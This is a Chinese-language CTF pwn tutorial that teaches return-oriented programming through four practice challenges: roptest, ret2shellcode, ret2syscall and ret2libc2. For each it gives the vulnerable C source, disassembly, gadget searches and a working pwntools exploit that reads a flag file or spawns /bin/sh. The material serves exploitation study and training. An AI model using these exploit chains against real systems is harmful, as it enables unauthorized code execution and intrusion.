1. ROP介绍

栈溢出大家都打过吧, 栈溢出通过Ret返回到黑客输入的shellcode处执行。但是不是所有有栈溢出漏洞的程序都有写shellcode的权限。有的程序有但是Date段和Text段也不会有执行权限,这个时候就需要通过程序内中的已有的汇编指令来进行拼接实现Shellcode功能。

roptest

1.1 题目分析

int main(){
	char name[16];
	read(0,name,128);
}
int foo(){
	return open("/flag", 0);
}
int bar(){
	int x = open("/notflag", 0);
	sendfile(1,x,0,1024);
}

read是一个溢出点,但是但是没有能直接读取/flag。 sendfile()可以但是读的变量 是x这个时候就需要通过 操控栈来让程序执行open("/flag", 0) 之后可以通过sendfile() 函数来读取/flag

像搭积木一样把函数再内存中进行拼装。

编译它

gcc -fno-stack-protector -no-pie -o roptest roptest.c

关闭了程序地址随机化(PIE) 关闭了金丝雀 这不是这期的重点,重点是学习ROP,不是绕过防御机制。

攻击链路
通过栈溢出 —> 执行open(/flag) ret到 —> sendfile() 函数 —> 得到flag 文件

这是objdump 反编译的重要函数 读注释的代码

0000000000401176 <main>:
  401176:	f3 0f 1e fa          	endbr64 
  40117a:	55                   	push   rbp   //8个字节
  40117b:	48 89 e5             	mov    rbp,rsp
  40117e:	48 83 ec 10          	sub    rsp,0x10
  401182:	48 8d 45 f0          	lea    rax,[rbp-0x10]  //Name变量  16 个字节
  401186:	ba 80 00 00 00       	mov    edx,0x80
  40118b:	48 89 c6             	mov    rsi,rax
  40118e:	bf 00 00 00 00       	mov    edi,0x0
  401193:	b8 00 00 00 00       	mov    eax,0x0
  401198:	e8 c3 fe ff ff       	call   401060 <read@plt> // 溢出点 8+16溢出点 
  40119d:	b8 00 00 00 00       	mov    eax,0x0
  4011a2:	c9                   	leave  
  4011a3:	c3                   	ret    //跳到OPen(/flag ) 0x4011ac

00000000004011a4 <foo>:
  4011a4:	f3 0f 1e fa          	endbr64 
  4011a8:	55                   	push   rbp
  4011a9:	48 89 e5             	mov    rbp,rsp
  4011ac:	be 00 00 00 00       	mov    esi,0x0   //open的0参数 
  4011b1:	48 8d 3d 4c 0e 00 00 	lea    rdi,[rip+0xe4c]  //这是/flag字符串     # 402004 <_IO_stdin_used+0x4>
  4011b8:	b8 00 00 00 00       	mov    eax,0x0  //预设返回值
  4011bd:	e8 be fe ff ff       	call   401080 <open@plt>
  4011c2:	5d                   	pop    rbp    //做填充
  4011c3:	c3                   	ret    // 跳转到0x4011ec sendfile函数来读取Flag 

00000000004011c4 <bar>:
  4011c4:	f3 0f 1e fa          	endbr64 
  4011c8:	55                   	push   rbp
  4011c9:	48 89 e5             	mov    rbp,rsp
  4011cc:	48 83 ec 10          	sub    rsp,0x10
  4011d0:	be 00 00 00 00       	mov    esi,0x0
  4011d5:	48 8d 3d 2e 0e 00 00 	lea    rdi,[rip+0xe2e]        # 40200a <_IO_stdin_used+0xa>
  4011dc:	b8 00 00 00 00       	mov    eax,0x0
  4011e1:	e8 9a fe ff ff       	call   401080 <open@plt>
  4011e6:	89 45 fc             	mov    DWORD PTR [rbp-0x4],eax
  4011e9:	8b 45 fc             	mov    eax,DWORD PTR [rbp-0x4]
  4011ec:	b9 00 04 00 00       	mov    ecx,0x400    //0x400 = 1024
  4011f1:	ba 00 00 00 00       	mov    edx,0x0
  4011f6:	89 c6                	mov    esi,eax
  4011f8:	bf 01 00 00 00       	mov    edi,0x1
  4011fd:	b8 00 00 00 00       	mov    eax,0x0
  401202:	e8 69 fe ff ff       	call   401070 <sendfile@plt>  //执行到这个函数成功的读取Flag文件
  401207:	90                   	nop
  401208:	c9                   	leave  
  401209:	c3                   	ret    
  40120a:	66 0f 1f 44 00 00    	nop    WORD PTR [rax+rax*1+0x0]

2 EXP

from pwn import *


r = process("./RopTest")

r.send(#填充 name
        b"a"*16+
        #填充 rbp 
        b"b" * 8+
        #填充 rip 
        p64(0x4011ac)+
        #填充 pop rbp
        b'c'*8+
        # 填充 foo ret 
        p64(0x4011ec) 
        )
#print(r.readall())

r.interactive()

ret2shellcode

1. 源码分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets((char *)&v4);  //栈溢出点 
  strncpy(buf2, (const char *)&v4, 0x64u); //shellcode 复制到Buf2 
  printf("bye bye ~");
  return 0;
}

这道题是溢出写shellcode int v4是局部变量不会有固定的地址
strncpy 函数 0x804a080 的地址是buf2 变量的这样V4被复制到Buf2中shellcode就有了一个固定的地址

 8048598:	c7 44 24 08 64 00 00 	mov    DWORD PTR [esp+0x8],0x64
 804859f:	00 
 80485a0:	8d 44 24 1c          	lea    eax,[esp+0x1c]
 80485a4:	89 44 24 04          	mov    DWORD PTR [esp+0x4],eax
 80485a8:	c7 04 24 80 a0 04 08 	mov    DWORD PTR [esp],0x804a080
 80485af:	e8 6c fe ff ff       	call   8048420 <strncpy@plt>

2. 构建Exp

v4 大小是100

07:001c│ eax 0xffffd0dc ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
... ↓        24 skipped
20:0080│ edx 0xffffd140 —▸ 0xf7fb3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
21:0084│-004 0xffffd144 —▸ 0xf7fb3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
22:0088│ ebp 0xffffd148 ◂— 0x0

可以看到下面两位被got表占了不知道为什么 再填充 8byte 覆盖ebp 再加 4byte

100 + 8 + 4 = 112 byte

from pwn import *

r = process('./ret2shellcode')

raw_input()
sddaddr = 0x804a080

shell = asm(shellcraft.sh())
print(len(shell))
print(shell.ljust(0x70,b'A')+p32(sddaddr))
r.recvuntil('!!!')
r.sendline(shell.ljust(0x70,b'A')+p32(sddaddr))

r.interactive()                            

因为不知道shellcode的长度所以使用 ljust函数来填充如果shellcode长度不够就用A来填充

ret2syscall

源码分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4); 
  return 0; 
}

这道题通过程序内已有的汇编代码从获取shell 需要截取gadget片段 控制程序流从而获得shell

gadge片段是指 操作寄存距离ret 操作数近的汇编指令 如 pop eax ; ret

execve("/bin/sh", NULL,NULL)
  • execve的系统调用号 eax 0xb
  • 第一个参数 ebx 执行"/bin/sh"
  • 第二个参数指向 ecx 为 0
  • 第三个参数执行 edx 为 0

然后通过gadge 片段去操控寄存器 流程这样的

把栈上的数据pop 到寄存修改完几个寄存器 跳到int 0x80 执行execve就会成功调用shell

通过ROPgadge 工具寻找可用gadge片段

guozhi@guozhi-virtual-machine:~/桌面/ctfpwn$ ROPgadget --binary ./rop  --only "pop|ret" | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
guozhi@guozhi-virtual-machine:~/桌面/ctfpwn$ ROPgadget --binary ./rop  --only "pop|ret" | grep 'edx'
0x0806eb69 : pop ebx ; pop edx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0806eb6a : pop edx ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
guozhi@guozhi-virtual-machine:~/桌面/ctfpwn$ ROPgadget --binary ./rop  --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh
guozhi@guozhi-virtual-machine:~/桌面/ctfpwn$ ROPgadget --binary ./rop  --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80

Unique gadgets found: 1
guozhi@guozhi-virtual-machine:~/桌面/ctfpwn$  

构造exp

from pwn import * 


r = process('./rop') 

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
sh = 0x080be408 
int_0x80 = 0x08049421  

p = flat(
        ['a'*112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0,0,sh,int_0x80]
        )

r.sendline(p)
r.interactive() 

ret2libc2

1.源码分析

存在system函数但是不存在/bin/sh字符串所以需要自己往里写, 往程序里写东西可用通过再次触发gets函数往指定的地址写东西,然后触发system函数。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [esp-68h] [ebp-68h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("Something surprise here, but I don't think it will work.");
  printf("What do you think ?");
  gets(&v4);
  return 0;
}

2.构建Exp

from pwn import *

r = process('./ret2libc2')
system_plt = 0x8048490
gets_plt = 0x8048460
pop_ebx_ret = 0x0804843d
buf = 0x804AF00 #看程序权限vmmap哪可以往里写就写哪
sh = b'/bin/sh'

p = flat(
  ['a'*112, # 溢出填充
  gets_plt, # 接收sh
  pop_ebx_ret, 
  buf, # 接收的参数弹到ebx寄存中
  system_plt, #调用systemcall
  'c'*4, #垃圾数据填充systemcall第一个参数
  buf#作为地址提交
  ]
)
r.sendline(p)
r.sendline(sh)

r.interactive()